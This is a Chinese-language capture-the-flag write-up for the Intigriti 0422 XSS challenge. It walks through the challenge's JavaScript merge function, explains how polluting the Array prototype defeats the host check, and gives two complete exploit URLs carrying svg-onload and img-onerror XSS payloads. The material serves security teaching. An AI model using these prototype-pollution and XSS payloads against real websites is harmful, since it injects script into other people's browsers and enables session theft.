intigriti-0422-XSS-Challenge-Write-up

admin 2022年4月27日20:42:39评论88 views字数 4248阅读14分9秒阅读模式
前言

intigriti新出的challenge,猜到是原型链污染的题,但是许多点(因为菜)没有反应过来,同时学到了一点新知识,应各位师傅要求分享一下。

不了解JavaScript原型链污染攻击的,可以先去P师傅博客预习一下。

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html



原题地址

https://challenge-0422.intigriti.io/



解题思路
题目主体

  1. function main() {

  2.    const qs = m.parseQueryString(location.search)

  3.    let appConfig = Object.create(null)

  4.    appConfig["version"] = 1337

  5.    appConfig["mode"] = "production"

  6.    appConfig["window-name"] = "Window"

  7.    appConfig["window-content"] = "default content"

  8.    appConfig["window-toolbar"] = ["close"]

  9.    appConfig["window-statusbar"] = false

  10.    appConfig["customMode"] = false

  11.    if(qs.config) {

  12.        merge(appConfig, qs.config)

  13.        appConfig["customMode"] = true

  14.    }

  15.    let devSettings = Object.create(null)

  16.    devSettings["root"] = document.createElement('main')

  17.    devSettings["isDebug"] = false

  18.    devSettings["location"] = 'challenge-0422.intigriti.io'

  19.    devSettings["isTestHostOrPort"] = false

  20.    if(checkHost()) {

  21.        devSettings["isTestHostOrPort"] = true

  22.        merge(devSettings, qs.settings)

  23.    }

  24.    if(devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {

  25.        console.log('appConfig', appConfig)

  26.        console.log('devSettings', devSettings)

  27.    }

  28.    if(!appConfig["customMode"]) {

  29.        m.mount(devSettings.root, App)

  30.    } else{

  31.        m.mount(devSettings.root, {view: function() {

  32.                return m(CustomizedApp, {

  33.                    name: appConfig["window-name"],

  34.                    content: appConfig["window-content"] ,

  35.                    options: appConfig["window-toolbar"],

  36.                    status: appConfig["window-statusbar"]

  37.                })

  38.            }})

  39.    }

  40.    document.body.appendChild(devSettings.root)

  41. }

  42. function checkHost() {

  43.    const temp = location.host.split(':')

  44.    const hostname = temp[0]

  45.    const port = Number(temp[1]) || 443

  46.    return hostname === 'localhost'|| port === 8080

  47. }

  48. function isPrimitive(n) {

  49.    return n === null|| n === undefined|| typeof n === 'string'|| typeof n === 'boolean'|| typeof n === 'number'

  50. }

  51. function merge(target, source) {

  52.    let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]

  53.    for(let key in source) {

  54.        if(protectedKeys.includes(key)) continue

  55.        if(isPrimitive(target[key])) {

  56.            target[key] = sanitize(source[key])

  57.        } else{

  58.            merge(target[key], source[key])

  59.        }

  60.    }

  61. }

  62. function sanitize(data) {

  63.    if(typeof data !== 'string') return data

  64.    return data.replace(/[<>%&$s\]/g, '_').replace(/script/gi, '_')

  65. }

  66. main();


核心在于merge方法, merge的意思是融合。很明显这是一道原型链污染的题目。

把 merge拆开来看里面做了哪些事情
  • protectedKeys定义了一些属性,如果有这些属性,就直接跳过
  • isPrimitive用于判断数据类型,如果为 null、 undefined、 string、 boolean、 number类型的值时,会进入一个简单的过滤方法sanitize中,去掉一些特殊符号,并将给target赋予新的属性值
  1. let a = {};

  2. a.id = 1;

  3. a.name = "a";

  4. let b = {};

  5. b.id = 1;

  6. b.name = 2;

  7. b.port = 3;

  8. merge(a, b);

  9. console.log('object a ->',a);

  10. console.log('object b ->',b);

  11. //object a -> { id: 1, name: 2, port: 3 }

  12. //object b -> { id: 1, name: 2, port: 3 }


先理解了这一部分,再来看题目逻辑就清晰很多了,challenge的最终触发流程在于 document.body.appendChild(devSettings.root)

所以我们需要去修改 devSettings.root的属性,往上追溯,如果要走到这个流程,必须修改使得 checkHost()的值为 true,才能够进入 merge方法中,对 devSettings对象的值进行修改。

  1. function checkHost() {

  2.    const temp = location.host.split(':')

  3.    const hostname = temp[0]

  4.    const port = Number(temp[1]) || 443

  5.    return hostname === 'localhost'|| port === 8080

  6. }


checkHost()的判断条件为 hostname等于 localhost或是 port等于 8080,显然从正常情况下来看,无论如何都不可能满足这个条件的。但是这里作者设计了一个很巧妙的代码,重点在于 temp[1], temp是一个数组,从数组中取了下标 1这个值。

  1. '1'== 1

  2. // true

  3. a['1'] == a[1]

  4. // true


JavaScript中,数组的下标可以用字符或是字符串数字来取值,所以在原型链中,我们可以给[]对象添加一个名称为1的属性,这样 temp在通过下标 1取值的时候,实际上取到的是数组中属性为 1的值


  1. [].constructor.prototype['1'] = 8080

  2. //[1: 8080, constructor: ƒ, concat: ƒ, copyWithin: ƒ, fill: ƒ, find: ƒ, …]


根据代码逻辑,我们需要同时满足对象类型为Array,且可被merge的参数,满足这样条件的只有 appConfig["window-toolbar"]=["close"]

我们的伪代码应当为
appConfig["window-toolbar"].constructor['1']=8080

接下来要做的,就是继续去替换 devSettings.root的值了,替换body中的值即可。



解法一

污染 config和 settings的解法

  1. https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML][1]=%3Csvg%20onload%3Dalert(1)%3E



解法二

污染 innerHTML的解法(来自intigriti群组的DrBrix)

  1. https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][constructor][prototype][xd]

    展开收缩
    =1&config[window-toolbar][constructor][constructor][constructor][prototype][xd][constructor][prototype][innerHTML][0]=%3Cimg%20src%3da%20onerror%3dalert(document.domain);alert%3dundefined%3E



思考题

以上就是2022年intigriti-0422-xss-challenge的解析思路了,读到这里,大家可以思考一下,为什么不直接污染 appConfig或是 devSettings来快速走流程?



intigriti-0422-XSS-Challenge-Write-up
点分享
intigriti-0422-XSS-Challenge-Write-up
点收藏
intigriti-0422-XSS-Challenge-Write-up
点点赞
intigriti-0422-XSS-Challenge-Write-up
点在看

原文始发于微信公众号(长亭安全课堂):intigriti-0422-XSS-Challenge-Write-up

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月27日20:42:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   intigriti-0422-XSS-Challenge-Write-uphttps://cn-sec.com/archives/952366.html

发表评论

匿名网友 填写信息